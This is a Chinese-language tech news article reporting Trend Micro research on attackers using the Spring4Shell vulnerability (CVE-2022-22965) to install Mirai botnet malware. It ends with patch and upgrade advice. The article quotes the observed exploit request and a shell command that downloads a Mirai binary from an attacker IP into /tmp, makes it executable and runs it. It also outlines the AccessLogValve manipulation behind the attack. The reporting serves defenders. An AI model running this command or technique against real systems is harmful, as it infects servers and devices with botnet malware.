还记得不久之前 Java 圈中惊爆的 Spring 框架漏洞吗?得益很多人使用了 JDK 9 以下的版本、Spring 框架的最新版本,截止目前,并没有真实的应用程序惨遭攻击的事件发生。
但是,据网络安全服务商 Trend Micro 最新发布的报告显示,黑客可利用编号为 CVE-2022-22965(国外网友将其称之为 SpringShell)的漏洞,在设备上部署 Mirai 恶意软件,以此感染易受攻击的物联网设备。Mirai 是一种开源恶意软件,可将路由器和其他网络连接设备变成庞大的僵尸网络。
Trend Micro 的研究人员表示,这一漏洞允许黑客能够在易受攻击的服务器上执行 Mirai 僵尸网络恶意软件,尤其是在新加坡地区。
值得注意的是,基于这一漏洞,黑客可将 Mirai 下载到设备的“/tmp”文件夹,并使用“chmod”更改权限后执行。破解的开发请求和命令如下:
http://{victim IP}:9090/tomcatwar[.]jsp?pwd=j&cmd=cd%20/tmp;%20wget%20http://45[.]95[.]169[.]143/The420smokeplace[.]dns/KKveTTgaAAsecNN
aaaa.x86;chmod%20777%20*;./KKveTTgaAAsecNNaaaa.x86%20mSpring[.]x86
cd /tmp; wget http://45[.]95[.]169[.]143/The420smokeplace.dns/KKveTTgaAAsecNNaaaa.x86;chmod 777 *;./KKveTTgaAAsecNNaaaa.x86 mSpring[.]x86
http://45[.]95[.]169[.]143/The420smokeplace[.]dns/KKveTTgaAAsecNNaaaa.x86
同时,研究人员还发现,恶意软件文件服务器存储了针对不同 CPU 架构的恶意软件的多个变体。不过,其并没有指明具体设备或受感染设备中使用的 CPU 品牌。
很多的不定性也为该漏洞埋下了很大的安全隐患。
此前,据 Spring 官方证实,大多数易受攻击的设置或版本都与以下有关:
Spring Framework 5.2.20、5.3.18 之前的版本、JDK 9 及以上版本
Apache Tomcat
Spring-webmvc 或 spring-webflux 依赖项
在 Spring 参数绑定中,使用了非基本参数类型,例如 POJO
可部署、导出为 Web 归档文件(WAR)
安全研究人员称,有黑客之所以能够成功地将该漏洞武器化,是因为他们熟悉暴露的类对象,这也为他们提供了多种途径。譬如,黑客可以访问 AccessLogValve 对象,并将 Apache Tomcat 中的类变量 'class.module.classLoader.resources.context.parent.pipeline.firstpath' 武器化。他们可以通过操纵 AccessLogValve 对象的属性(例如其模式、后缀、目录和前缀),将访问日志重定向到 Web 根目录中,从而做到这一点。”
那么,对于开发者而言,又有哪些防御措施?
目前,使用 Spring 框架漏洞部署 Mirai 恶意软件的过程以及细节并没有被公开,开发者当前所能做的就是从根源减少 Spring 框架漏洞带来的危害。
根据 Spring 官方所发布的公告,开发者们可及时进行不同版本的更新或降级,其中:
Apache Tomcat 团队已经发布了 10.0.20、9.0.62 和 8.5.78 版本。
建议开发者、企业升级到 Spring Framework 5.3.18+、5.2.20+ 版本:https://github.com/spring-projects/spring-framework/wiki/Spring-Framework-Versions
最后 Spring 官方指出,降级到 JDK 8 也不失为一种良好的解决方案。
参考:https://www.trendmicro.com/en_us/research/22/d/cve-2022-22965-analyzing-the-exploitation-of-spring4shell-vulner.html
END
《新程序员001-004》全面上市,对话世界级大师,报道中国IT行业创新创造
— 推荐阅读 —
—点这里↓↓↓记得关注标星哦~—
一键三连 「分享」「点赞」「在看」
成就一亿技术人